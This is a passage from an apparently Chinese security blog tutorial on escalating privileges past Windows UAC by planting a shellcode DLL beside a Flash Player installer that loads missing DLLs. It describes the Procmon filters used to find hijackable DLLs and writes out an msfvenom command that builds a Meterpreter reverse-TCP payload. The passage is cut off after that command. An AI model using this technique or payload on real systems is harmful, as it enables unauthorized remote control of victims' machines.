猎豹科学院2015/09/21 11:14 0x00 背景 UAC(User Account Control,用户帐户控制)是微软为提高系统安全而在Windows Vista中引入的新技术,它要求用户在执行可能会影响计算机运行的操作或执行更改影响其他用户的设置的操作之前,提供权限或管理员密码。也就是说一旦用户允许启动的应用程序通过UAC验证,那么这个程序也就有了管理员权限。如果我们通过某种方式劫持了通过用户UAC验证的程序,那么相应的我们的程序也就实现了提权的过程。 0x01 提权过程概述 首先我们找到目标程序,查找其动态加载的dll文件然后将其替换掉,插入我们包含shellcode的dll文件,这样用户在安装此文件的时候就会调用我们的dll文件,并执行我们的shellcode代码。同时为了防止程序崩掉导致我们的代码退出,采用注入的方式保证shellcode的稳定执行。在此过程中,如果目标程序请求UAC权限,对于用户来说这是一个正常的安装文件,一旦通过UAC验证,相应我们的shellcode也完成了提权过程。替换安装包dll文件这种行为太过于敏感,其实最后实现的方式是找到目标程序需要加载的,并且当前目录又不存在的需要联网下载的dll文件,我们只需要在该目录下放一个同名dll文件即可。 0x02 实验环境 Kali Debian7 Kali集成Metasploit等漏洞利用工具,方便提取shellcode和反弹TCP连接。最好安装一个Mingw-w64用于编译c代码。 windows7 x64 主要的目标测试环境。 Procmon.exe Procmon是微软出的一款强大的Windows监视工具,不但可以监视进程/线程,还可以监控到文件系统,注册表的变化等。 install_flashplayer15x32_mssd_aaa_aih 这里我们以flashplayer安装文件作为目标文件,版本为15×32_mssd_aaa_aih,可自行下载,或者从最后的打包附件中找到。 0x03 详细提权过程 查找可劫持的dll文件 首先我们在win7系统下先打开procmon监控软件,清除一下日志信息,然后运行我们的目标文件install_flashplayer15x32_mssd_aaa_aih,运行过后会弹出UAC选项,需要用户确认授权。 这里我们点“是”,然后安装包开始安装并自删除,并从服务器下载所需的文件,这时候就可以关掉了,因为我们只需要看该软件包都加载了哪些dll文件。 看下Procmon.exe记录所有行为 信息量太大,我们需要过滤出有用的信息。 首先是只看我们目标进程的信息,添加过滤规则: Process Name is install_flashplayer15x32_mssd_aaa_aih 然后是过滤掉加载系统的dll文件,只看安装包当前目录下加载的dll文件,我这里安装包存放在dllhijack文件夹下,添加过滤规则: Path contains dllhijack 并且该加载dll不存在,需要联网从服务器下载,最后再添加一个过滤规则: Result is NAME NOT FOUND 三个过滤规则如下所示: 经过三个规则过滤后,留下的信息就很明显了,如下图所示: 上边所列的dll文件都是会尝试加载,并且找不到,会联网进行下载的dll文件,因此,我们的目标就是劫持这些dll文件,也不需要替换,直接将我们的dll文件放在安装包同目录即可,这也是为什么选择这个安装程序测试的原因。如果选择其他安装包测试的,最好也是选择这种联网安装类型的,所有文件都从服务器拉取,如果安装程序没有对这些从服务器拉取的文件进行效验,就能够被劫持。 编写exploit 找到劫持了dll文件后,我们进入Debian系统用msf生成shellcode,这里我们选择反弹tcp的shellcode,需要知道服务器ip地址和监听端口,这里也选择Debian系统作为服务器,ifconfig查看下ip,设置监听端口为9000,最后执行如下命令生成shellcode: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.127.133 LPORT=9000 -f c […]